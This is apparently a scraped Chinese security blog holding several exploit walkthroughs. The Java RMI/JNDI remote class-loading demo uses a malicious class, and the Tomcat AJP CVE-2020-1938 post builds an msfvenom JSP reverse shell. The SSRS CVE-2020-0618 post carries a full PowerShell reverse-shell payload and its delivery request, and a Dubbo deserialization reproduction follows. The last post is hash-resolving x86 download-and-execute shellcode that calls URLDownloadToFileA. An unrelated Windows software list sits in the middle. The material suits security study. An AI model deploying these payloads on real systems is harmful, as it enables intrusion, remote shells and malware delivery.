import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

	private static final long serialVersionUID = 1L;

	static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
        try {
            exec("gnome-calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
//        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

2.启动一个Http server 提供远程调用恶意类:
com.hans.httpServer.HttpServer

package com.hans.httpServer;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
 * 你客户端缺什么类到我这个Http服务上来拿
 * https://paper.seebug.org/1091/
 * 1. First start http server
 * */
public class HttpServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String args[]) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HttpServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

3.然后部署一个RMI Server
com.hans.RMI.Message

package com.hans.RMI;

import java.io.Serializable;

public class Message implements Serializable {
    private static final long serialVersionUID = 1L;
    private String msg;

    public Message() {
    }

    public String getMessage() {
        System.out.println("Processing message: " + msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
}

com.hans.RMI.Services

package com.hans.RMI;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
    Object sendMessage(Message msg) throws RemoteException;
}

com.hans.RMI.ServicesImpl

package com.hans.RMI;

import java.rmi.RemoteException;

import com.hans.remoteClass.ExportObject;

public class ServicesImpl implements Services {
    public ExportObject sendMessage(Message msg) throws RemoteException {
        return new ExportObject();
    }
}

com.hans.RMI.RMIServer

package com.hans.RMI;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

/*
 * 2. Second start RMI server
 * */

public class RMIServer {
    public static void main(String[] args) {
        try {
            // 实例化服务端远程对象
            ServicesImpl obj = new ServicesImpl();
            // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

            //设置java.rmi.server.codebase
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

            Registry reg;
            try {
                // 创建Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //绑定远程对象到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

当在eclipse中启动 http server时,eclipse会同时编译ExportObject.java。即可通过 http://localhost:8000/com/hans/remoteClass/ExportObject.class 获取恶意的类测试服务是否启动成功。

Client端:

作为远程方法调用,我可以不知道ExportObject做了啥,但是我必须要知道ExportObject外表长啥样:
com.hans.remoteClass.ExportObject

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

	private static final long serialVersionUID = 1L;

	public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
	
}

com.hans.RMI.Message

package com.hans.RMI;

import java.io.Serializable;

public class Message implements Serializable {
    /**
	 * 
	 */
	private static final long serialVersionUID = 1L;
	private String msg;

    public Message() {
    }

    public String getMessage() {
        System.out.println("Processing message: " + msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
}

com.hans.RMI.Services

package com.hans.RMI;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
    Object sendMessage(Message msg) throws RemoteException;
}

com.hans.RMI.RMIClient

package com.hans.RMI;

import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient 
{
    public static void main( String[] args )  throws Exception
    {
        //如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
        System.setProperty("java.security.policy", RMIClient.class.getClassLoader().getResource("java.policy").getFile());
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
        // 获取远程对象的引用
        Services services = (Services) registry.lookup("Services");
        Message message = new Message();
        message.setMessage("hahaha");

        services.sendMessage(message);
    }
}

当Client项目运行在kali linux 时,从远程加载类库时会触发代码执行,弹出计算器。

bookmark_borderCVE-2020-1938 远程代码执行利用思路

2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布关于Apache Tomcat的安全公告,Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。Tomcat AJP协议由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。

读取服务器webapp下的任意文件的POC网上太多了,这里就跳过。学习一下拿shell的思路。

前提条件:

能上传jsp之类的脚本文件到服务器(文件名后缀不限),文件目录知道,且在web目录下。

1 准备利用的jsp文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.111 LPORT=4444 -f raw > shell.jsp 

假设shell.jsp 文件成功被我上传到了 web目录的 attachments 文件夹下。

(实测在jpg里藏代码,后缀用jpg不行,用jsp就可以)

2 msf监听shell

 msfconsole -q -x  'handler -H 0.0.0.0 -P 4444 -p linux/x86/shell/reverse_tcp'

3 利用

下载 ajpfuzzer_v0.6.jar

java -jar .\ajpfuzzer_v0.6.jar
AJPFuzzer> connect 192.168.1.111 8009
AJPFuzzer/192.168.1.111:8009> forwardrequest 2 "HTTP/1.1" "/attachments/shell.jsp" 127.0.0.1 localhost porto 8009 false "Cookie:AAAA=BBBB" ""

获取了shell。
原因是:当ajp URI设置为jsp路径时,Tomcat会调用JspServlet的service方法处理。
具体请参考别人的分析:

https://mp.weixin.qq.com/s/v3EQw4xaE4QTbvEwkfHz9w

影响范围
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31

bookmark_borderCVE-2020-0618 SQL Server 远程代码执行利用

【背景】
2020年2月,微软发布一系列补丁,其中修复了CVE-2020-0618漏洞,该漏洞需要认证,使用账号密码通过ntml方式登录sql server的SQL Server Reporting Services (SSRS)才能利用,账户权限据说任何权限都可以,我直接用的administrator,其他没测。使用该漏洞可以获取操作系统权限。
【漏洞详情】

1 burp里对sql server配置ntml认证。User options -> connections -> Plateform Authentication

2 nc 设置监听,监听80端口 (测试 443 445 都可以)。

sudo nc -nlvp 80

3 去 https://github.com/pwntester/ysoserial.net/releases 下载 ysoserial.net 工具生成payload,在powershell执行命令:

$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.1.111",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

结果被复制到剪贴板。

4 burp发包

POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X

NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=【第三步的结果复制到这并删除多余的换行】&__VIEWSTATE=

成功:

这也是个反序列化的漏洞,对用户输入没做校验就调用 .Deserialize(value)函数。

长见识了,以前只知道java有ysoserial工具,没想到.net也有。

【风险评级】

中危


【影响版本】

【修复建议】
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0618 下载修复补丁。
【参考链接】
https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/ (POC)
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0618 (补丁下载)

bookmark_borderCVE-2019-17564 Apache Dubbo 反序列化漏洞利用

【背景】
2020年2月10号,Apache Dubbo的反序列化漏洞(CVE-2019-17564)被公布,使用 Dubbo-Rpc-Http (2.7.3 or lower) 和
Spring-Web (5.1.9.RELEASE or lower)的版本可被利用。
Apache Dubbo |ˈdʌbəʊ| 是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
Dubbo原属于阿里巴巴的开源项目,2018年阿里巴巴捐赠给 Apache 基金会。
【漏洞详情】
在使用http协议的Dubbo中,会调用org.springframework.remoting.rmi.RemoteInvocationSerializingExporter 类,该类中 readObject()时未对用户传入的post数据做校验:

其实是spring的问题
导致服务器存在特定gadgets的情况下可用作RCE(远程代码执行),这里在dubbo provider上用 JDK8U20 并添加 commons-collections4 4.0 复现。
克隆 https://github.com/apache/dubbo-samples 到本地。
在eclipse中导入一个maven项目,选择 dubbo-samples/java/dubbo-samples-http/ 项目。
修改pom.xml中dubbo为受影响的版本(2.7.3):

1 假设存在gadgets,可以利用。

2 修改项目JDK到JDK8U20

在pom.xml中引入commons-collections4,在pom.xml中的标签中添加:

<dependency>
		    <groupId>org.apache.commons</groupId>
		    <artifactId>commons-collections4</artifactId>
		    <version>4.0</version>
</dependency>

在 org.apache.dubbo.samples.http.HttpProvider中引入commons-collections4:

import org.apache.commons.collections4.Bag;
import org.apache.commons.collections4.bag.HashBag;

Bag<String> bag = new HashBag<>();

3 下载zookeeper,配置zookeeper,启动zookeeper。

4 先运行 HttpProvider ,抓包,再运行 HttpConsumer。即可得到dubbo使用http协议的报文。

5 使用ysoserial生成payload,粘贴到burp的 payload里。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "gnome-calculator" > CommonsCollections4_gnome-calculator.ser
paste from file:

【风险评级】
高危
【影响版本】
Dubbo 2.7.0 to 2.7.4
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions
【修复建议】
将项目中的 org.apache.dubbo.dubbo 包升级到最新(当前最新版2.7.5)。
腾讯御界可检测此漏洞的攻击。
【参考链接】

https://qiita.com/shimizukawasaki/items/39c9695d439768cfaeb5
https://meterpreter.org/cve-2019-17564-apache-dubbo-deserialization-vulnerability-alert/
https://www.mail-archive.com/[email protected]/msg06225.html

bookmark_border绿色Win10软件安装思路

Win10纯净软件:

下载器:Free Download Manage

由于众所周知的原因,中国下载国外资源的速度很慢,可以考虑先把上面的下载器下下来,把后面要下载的链接,复制到下载器里下载。😏


压缩软件:7zip 安装完,右击即可操作压缩文件


浏览器:mozilla firefox 一定要是mozilla原厂的。


杀毒软件:卡巴斯基 免费版。


输入法:微软自带的拼音

其他软件例如QQ微信去官网下

bing.com 搜 QQ 或者微信 找官网

带有“广告”字样的链接不要点,广告下面第一条一般就是官网。


别用百度 推广太多 容易下载到软件包

QQ微信还可以去Windows的store里下载,更安全:

简单的文字编辑用 notepad++

邮件:Thunderbird 同样Mozilla大厂出品。

Office 套件: LibreOffice 或者 微软的Office(收费)

Windows清理软件: CCleaner

在Options -> Settings -> Lauguage可以选中文

查看系统硬件配置: speccy

View-> Option里可以选中文

bookmark_borderThinkPHP6.0任意文件创建

安装php 7.1
安装Composer
https://getcomposer.org/Composer-Setup.exe
切换到你的WEB根目录下面并执行下面的命令:

PS C:\xampp\htdocs> composer create-project topthink/think tp60

确保tp60/composer.json中版本是6.0
开启Session(有些API应用不需要Session,默认关闭),编辑 tp60/app/middleware.php 取消 “
\think\middleware\SessionInit::class
“的注释。
去github下载6.0的源码,将压缩包中的framework-6.0.0\src,解压到 tp\vendor\topthink\framework\src
启动应用:

PS C:\xampp\htdocs> cd .\tp60\
PS C:\xampp\htdocs\tp60> php think run –host=0.0.0.0 –port=8080

访问8080端口确认可以访问。

根据网友们的分析和官方文档,需要在自己的应用中调用session函数才会触发session的保存。

这里假如这个应用是要操作Session的。
于是修改app目录下自带的应用,修改app/controller/index.php

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        session('demo', $_GET['c']);
        //return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
        return 'ThinkPHP V6.0.0';
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
}
这里的 $_GET['c'] 会作为 $data 参数写入以sessionid为名的文件里:

由于是data是用户输入,因此可以用来写shell.

写入文件:

修改PHPSESSION,可以做到把磁盘写爆。
至于怎么把webshell写到public目录下让我可以访问到,还没想好。

影响版本:
6.0
6.1
参考:
https://mochazz.github.io/2020/01/14/ThinkPHP6.0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99/?utm_source=tuicool&utm_medium=referral#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://www.kancloud.cn/manual/thinkphp6_0/1037635

bookmark_border理解PE格式—找出导出表(Export Table)中的函数地址(ShellCode篇)

本文接上一篇:

看完理论,接着要来写代码实践一下。
要实现的功能是通过Inline Assembly 打开 C:\1.exe
先要获取kernel32.dll在内存中的基址,因为kernel32中有我需要的函数,有两种方法。

https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html

第一种方法(https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html):

	xor esi, esi			; esi = 0
    	mov ebx, [fs:0x30 + esi]  	; written this way to avoid null bytes
	mov ebx, [ebx + 0x0C] 
	mov ebx, [ebx + 0x14] 
	mov ebx, [ebx]	
	mov ebx, [ebx]	
	mov ebx, [ebx + 0x10]		; ebx holds kernel32.dll base address 76830000
	mov [ebp-8], ebx 		; var8 = kernel32.dll base address

第二种方法(加密解密里的方法):

	xor		ecx, ecx
	mov		ecx, dword ptr fs:[0x30]
	mov		ecx, dword ptr [ecx+0x0C]
	mov		esi, dword ptr [ecx+0x1C]
sc_goonKernel:  
	mov		eax, dword ptr [esi+8] 
	mov		ebx, dword ptr [esi+0x20]            
	mov		esi, dword ptr [esi]
	cmp		dword ptr [ebx+0x0C], 0x320033 ;判断名称中字符32的unicode
	jnz		sc_goonKernel
	mov		ebx, eax  ;获取kernel32地址

本文采用第一种方法。

基础版ShellCode:

#include <stdio.h>
#include <windows.h>
#include <string>
#include <iostream>

/*
 ref: https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html 
*/
int main(int argc, char* argv[])
{
    std::cout << "Let's start" << std::endl;
    DWORD kernel32Adrress,scStart,scEnd,WinExecAddress;
    int numberOfFunction ;
    __asm__
    (
        ".intel_syntax\n\t"
    "start: \n\t"       

        "push ebp \n\t"
        "mov ebp, esp \n\t"

        "sub    ebp,0x18 \n\t" // Allocate memory on stack for local variables

        "push   0x00636578 \n\t" // 把"C:\1.exe"作为变量推到栈里, 1.exe是要打开的程序
        "push   0x456e6957 \n\t"    //  0x00 作为变量的结束符
        "mov    [ebp-4], esp \n\t"  // var4 = "WinExec\x00"

        "xor esi, esi \n\t"
        "mov ebx, [fs:0x30 + esi] \n\t"
        "mov ebx, [ebx + 0x0C] \n\t"
        "mov ebx, [ebx + 0x14] \n\t"
        "mov ebx, [ebx] \n\t"
        "mov ebx, [ebx] \n\t"
        "mov ebx, [ebx + 0x10] \n\t"

        "mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
        "add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
        "mov eax, [eax + 0x78] \n\t" //  RVA of Export Table
        "add eax, ebx \n\t" // Address of Export Table
        
        "mov ecx, [eax + 0x24] \n\t" // RVA of Ordinal Table
        "add ecx, ebx \n\t" // Address of Ordinal Table
        "mov [ebp-0x0C], ecx \n\t" // var_0C = Address of Ordinal Table

        "mov edi, [eax + 0x20] \n\t"    // RVA of Name Pointer Table
        "add edi, ebx \n\t"     // Address of Name Pointer Table
        "mov [ebp-0x10], edi \n\t"   // var_10 = Address of Name Pointer Table

        "mov edx, [eax + 0x1C] \n\t"    // RVA of Address Table
        "add edx, ebx \n\t"     // Address of Address Table
        "mov [ebp-0x14], edx \n\t" //    var_14 = Address of Address Table
        
        "mov edx, [eax + 0x14] \n\t"    // Number of exported functions

        "xor    eax,eax \n\t"   // function name address index

    "loop: \n\t"
        "mov    edi, [ebp-0x10] \n\t"   // var_10 = Address of Name Pointer Table
        "mov    esi, [ebp-4] \n\t"  // var4 = "WinExec\x00"
        "xor    ecx, ecx \n\t"  // function name char index

        "cld \n\t"  //  Clear direction flag,set DF=0 => process strings from left to right.    
        "mov    edi,[edi + eax*4] \n\t"  // next function name RVA 
 
        "add    edi, ebx \n\t"
        "add    cx,8 \n\t"
        "repe   cmpsb \n\t" // Compare the first 8 bytes of strings in 
                        // esi and edi registers. ZF=1 if equal, ZF=0 if not
        "jz found \n\t"
        "inc    eax \n\t"
        "cmp    eax,edx \n\t"   //check if last function is reached
        "jb     loop  \n\t"   // if not the last -> loop
        "add    esp,0x26 \n\t"
        "jmp    end \n\t"

    "found: \n\t"
        "mov    ecx, [ebp-0x0C] \n\t" // var_0C = Address of Ordinal Table
        "mov    edx, [ebp-0x14]\n\t"  // var_14 = Address of Address Table

        "mov    ax, [ecx + eax*2] \n\t" // ax = ordinal number = var_0C + (counter * 2)
        "mov    eax, [edx + eax*4] \n\t"    //  eax = RVA of function = var_14 + (ordinal * 4)
        "mov    %0, eax \n\t"
        "add    eax,ebx \n\t"  //  eax = address of WinExec  = kernel32.dll base address + RVA of WinExec
        

        "xor    edx,edx \n\t"
        "push   edx \n\t"   // null termination
        "push   0x6578652e \n\t"
        "push   0x315c3a43 \n\t"
        "mov    esi,esp \n\t"

        "push   10 \n\t"
        "push   esi \n\t"
        "call   eax \n\t"
        
        "add    esp, 0x46 \n\t"
        
    "end: \n\t"

        :"=r" (WinExecAddress)
        :"r" (WinExecAddress)
        :    
    );
    std::cout << "The WinExec Address is:";
    printf("%llx",WinExecAddress);
    std::cout << std::endl;

}

程序就是找到kernel32.dll 然后找到导出表,遍历找到Function name Table 中WinExec的位置,
通过这个位置找到Ordinal Table中指定的index,通过这个index在 Address Table找到 WinExec的地址,然后传参,call这个地址。


进阶版ShellCode:

#include <stdio.h>
#include <windows.h>
#include <string>
#include <iostream>

int main(int argc, char* argv[])
{
    std::cout << "Let's start" << std::endl;
    DWORD WinExecAddress=0;
    __asm__
    (
        ".intel_syntax\n\t"
    "start:\n\t"      
        "xor    ecx, ecx\n\t" 
        "mov    ebx, fs:[0x30] \n\t"
        "mov    ebx, [ebx + 0x0C] \n\t"
        "mov    ebx, [ebx + 0x14] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx + 0x10] \n\t"

        "mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
        "add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
        "mov eax, [eax + 0x78] \n\t" //  RVA of Export Table
        "add eax, ebx \n\t" // Address of Export Table

        "push   eax \n\t" // save 

        "xor    ecx, ecx \n\t"  // ecx: record how far from first function name
        "dec    ecx \n\t" 
        "mov    esi, [eax + 0x20] \n\t"   // RVA of Name Pointer Table
        "add    esi, ebx \n\t"            
        
    "Find_Loop: \n\t"
        
        "inc    ecx \n\t"   
        "lods   dword ptr [esi] \n\t"   // traverse function name
        "add    eax,ebx \n\t"   // + base address. to get function name Address
        "xor    edi, edi \n\t"  // edi: hashed value
    "Hash_Loop: \n\t"
        "movsx  edx, byte ptr [eax] \n\t"
        "cmp    dl,dh \n\t" // // 函数名以 00 结束,若取到 00 ,则读完了这个函数名
        "je     hash_OK \n\t" // 这个函数名已经读取到最后一位
        "ror    edi, 7 \n\t"
        "add    edi,edx \n\t"   // // hash过的值 存在 edi
        "inc    eax \n\t"
        
        "jmp    Hash_Loop \n\t"
        
    "hash_OK: \n\t"
        "cmp    edi, 0x01a22f51 \n\t" // cmp edi , [ebp-4]
        "jnz    Find_Loop \n\t"
        "pop    esi \n\t"
        "mov    edi, dword ptr [esi+0x24] \n\t"
        "add    edi, ebx \n\t"
        "mov    cx,word ptr [edi+ecx*2] \n\t" // Ordinal Table
        "mov    edi, dword ptr [esi+0x1c]\n\t" //  RVA of Address Table
        "add    edi, ebx \n\t"
        "mov    eax, dword ptr [edi+ecx*4] \n\t" // RVA of function address
        "add    eax, ebx \n\t"
        "mov    %0, eax \n\t"
        
        "xor    edx,edx \n\t"
        "push   edx \n\t"   // null termination
        "push   0x6578652e \n\t"
        "push   0x315c3a43 \n\t"
        "mov    esi,esp \n\t"

        "push   10 \n\t"
        "push   esi \n\t"
        "call   eax \n\t"
        
        "add    esp, 0x46 \n\t"
        
    "end: \n\t"

        : "=r" (WinExecAddress)
        : "r" (WinExecAddress)
        :    
    );
    std::cout << "The WinExec Address is:";
    printf("%lx",WinExecAddress);
    std::cout << std::endl;
}

进阶版ShellCode用了加密解密中的Hash算法找Function Name,防止被检测到。

终极版(加密解密版)

#include <stdio.h>
//#include <windows.h>
//#include <string>
//#include <iostream>

int main(int argc, char* argv[])
{
    //std::cout << "Let's start" << std::endl;
    //DWORD WinExecAddress=0;

    // 1. 找到Kernel32的基址
    // 2. 找到Kernel32.LoadLibrary
    // 3. 加载urlmon.dll
    // 4. 找到urlmon的API
    // 5. 调用函数
    __asm__
    (
        ".intel_syntax\n\t"
        
        // hash value
        "push   0x00657865 \n\t"
        "push   0x2e312f6d \n\t"
        "push   0x6f632e6c \n\t"
        "push   0x6c2f2f3a \n\t"
        "push   0x70747468 \n\t"    // http://ll.com/1.exe  // map hosts: C:\Windows\System32\drivers\etc\hosts
        "push   0x00000000 \n\t"    // Address of Download file path
        "push   0x9aafd680 \n\t" // Urlmon.URLDownloadToFileA
        "push   0x6118f28f \n\t" // Kernel32.TerminateProcess
        "push   0xcb9765a0 \n\t" // Kernel32.Sleep
        "push   0x01a22f51 \n\t" // Kernel32.WinExec
        "push   0x837de239 \n\t" // Kernel32.GetTempPathA
        "push   0x6144aa05 \n\t" // Kernel32.VirtualFree
        "push   0x1ede5967 \n\t" // Kernel32.VirtualAlloc

        "mov    ebp, esp \n\t"

        //  1. 找到Kernel32的基址
    "BaseAddress:\n\t"      
        "xor    ecx, ecx\n\t" 
        "mov    ebx, fs:[0x30] \n\t"
        "mov    ebx, [ebx + 0x0C] \n\t"
        "mov    ebx, [ebx + 0x14] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx + 0x10] \n\t" // ebx: Base Address of Kernel32.dll
        "mov    ebp, esp \n\t"
        //"int 3\n\t"
        
        // 2. 找到Kernel32.LoadLibrary
        /*
        // 参数:ebx, .dll Base Address
        // 参数:edi, API的Hash值
        // 参数:ecx, dll中要找的API数量
                
        用ecx 和 loop来控制查找的次数
        Kernel32中需要用到7个API,所以这里ecx赋值7
        */  
        "mov    ebp, esp \n\t" 
        "mov    ecx, 0x07 \n\t"  
        "mov    edi, ebp \n\t"

    "FindApi_loop: \n\t"
        // Find Kernel32API
        "call   FindApi \n\t"
        "loop   FindApi_loop \n\t"
        // LoadLibraryA load urlmon.dll
        // now edi is point to last hashed value
        "push   0x6e6f \n\t"
        "push   0x6d6c7275 \n\t"
        "mov    eax,esp \n\t"
        "push   eax \n\t"
        "call   dword ptr[ebp] \n\t"
        "mov    ebx, eax \n\t" // ebx is image base address of urlmon.dll
        "pop    eax \n\t"
        "pop    eax \n\t"

        "call   FindApi \n\t"

        "nop \n\t"
        "nop \n\t"
        "nop \n\t"

        "jmp    start_use_function \n\t"
        "nop \n\t"

    "FindApi: \n\t"
        "push   ecx \n\t" // ecx等下要被用作遍历function name
        "push   ebp \n\t"

        //"int 3\n\t"
        "mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
        "add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
        "mov eax, [eax + 0x78] \n\t" //  RVA of Export Table
        "add eax, ebx \n\t" // Address of Export Table

        "push   eax \n\t" // save 

        "xor    ecx, ecx \n\t"  // ecx: record how far from first function name
        "dec    ecx \n\t" 
        "mov    esi, [eax + 0x20] \n\t"   // RVA of Name Pointer Table
        "add    esi, ebx \n\t"            
        
    "Find_Loop: \n\t"
        
        "inc    ecx \n\t"   
        "lods   dword ptr [esi] \n\t"   // traverse function name
        "add    eax,ebx \n\t"   // + base address. to get function name Address
        "xor    ebp, ebp \n\t"  // ebp: hashed value
    "Hash_Loop: \n\t"
        "movsx  edx, byte ptr [eax] \n\t"
        "cmp    dl,dh \n\t" // // 函数名以 00 结束,若取到 00 ,则读完了这个函数名
        "je     hash_OK \n\t" // 这个函数名已经读取到最后一位
        "ror    ebp, 7 \n\t"
        "add    ebp,edx \n\t"   // // hash过的值 存在 ebp
        "inc    eax \n\t"
        
        "jmp    Hash_Loop \n\t"
        
    "hash_OK: \n\t"
        
        "cmp    ebp, dword ptr [edi] \n\t" 
        "jnz    Find_Loop \n\t"
        "pop    esi \n\t"
        "mov    ebp, dword ptr [esi+0x24] \n\t"
        "add    ebp, ebx \n\t"
        //"int 3\n\t"
        "mov    cx,word ptr [ebp+ecx*2] \n\t" // Ordinal Table
        "mov    ebp, dword ptr [esi+0x1c]\n\t" //  RVA of Address Table
        "add    ebp, ebx \n\t"
        "mov    eax, dword ptr [ebp+ecx*4] \n\t" // RVA of function address
        "add    eax, ebx \n\t"
        "stos   dword ptr es:[edi] \n\t" // put eax to edi pointed value,then edi increase 4 bytes . So ebp first 4 bytes saveed first function address
        "pop    ebp \n\t"
        "pop    ecx \n\t"      
        "ret\n\t"
        
    "start_use_function: \n\t"
        /* from now , you can invoke that 8 function through "dword ptr [ebp]"

            dword ptr[ebp+0x0] :   Kernel32.LoadLibraryA
            dword ptr[ebp+0x4] :   Kernel32.VirtualAlloc
            dword ptr[ebp+0x8] :   Kernel32.VirtualFree
            dword ptr[ebp+0xc] :   Kernel32.GetTempPathA
            dword ptr[ebp+0x10] :  Kernel32.WinExec
            dword ptr[ebp+0x14] :  Kernel32.Sleep
            dword ptr[ebp+0x18] :  Kernel32.TerminateProcess
            dword ptr[ebp+0x1c] :  Urlmon.URLDownloadToFileA

         */      
        /*
             Open C:\1.exe
            "push   0x00 \n\t"   // null termination
            "push   0x6578652e \n\t"
            "push   0x315c3a43 \n\t"
            "mov    esi,esp \n\t"

            "push   10 \n\t"
            "push   esi \n\t"
            "call   dword ptr [ebp+0x10] \n\t"
            "pop    eax \n\t"   // 平衡栈
            "pop    eax\n\t"
            "pop    eax\n\t"
            "pop    eax\n\t"
            "pop    eax\n\t"

        */

        /*
            Set Download path
        */
        "push    0x40 \n\t"
        "push    0x1000 \n\t"
        "push    0x100 \n\t"
        "push    0 \n\t"
        "call    dword ptr [ebp+0x4] \n\t"  //  kernel32.VirtualAlloc
        "mov     dword ptr [ebp+0x20], eax \n\t"
        //获取临时文件夹路径
        "push   eax \n\t"
        "push   0x100 \n\t"
        "call   dword ptr [ebp+0x0c] \n\t"  //Kernel32.GetTempPathA
        //设置临时exe文件路径
        //%TEMP%\1.exe
        "mov    ecx, dword ptr[ebp+0x20] \n\t"
        "add    ecx, eax \n\t"
        "mov    dword ptr[ecx], 0x78652e31 \n\t"
        "mov    dword ptr[ecx+0x4], 0x0065 \n\t"
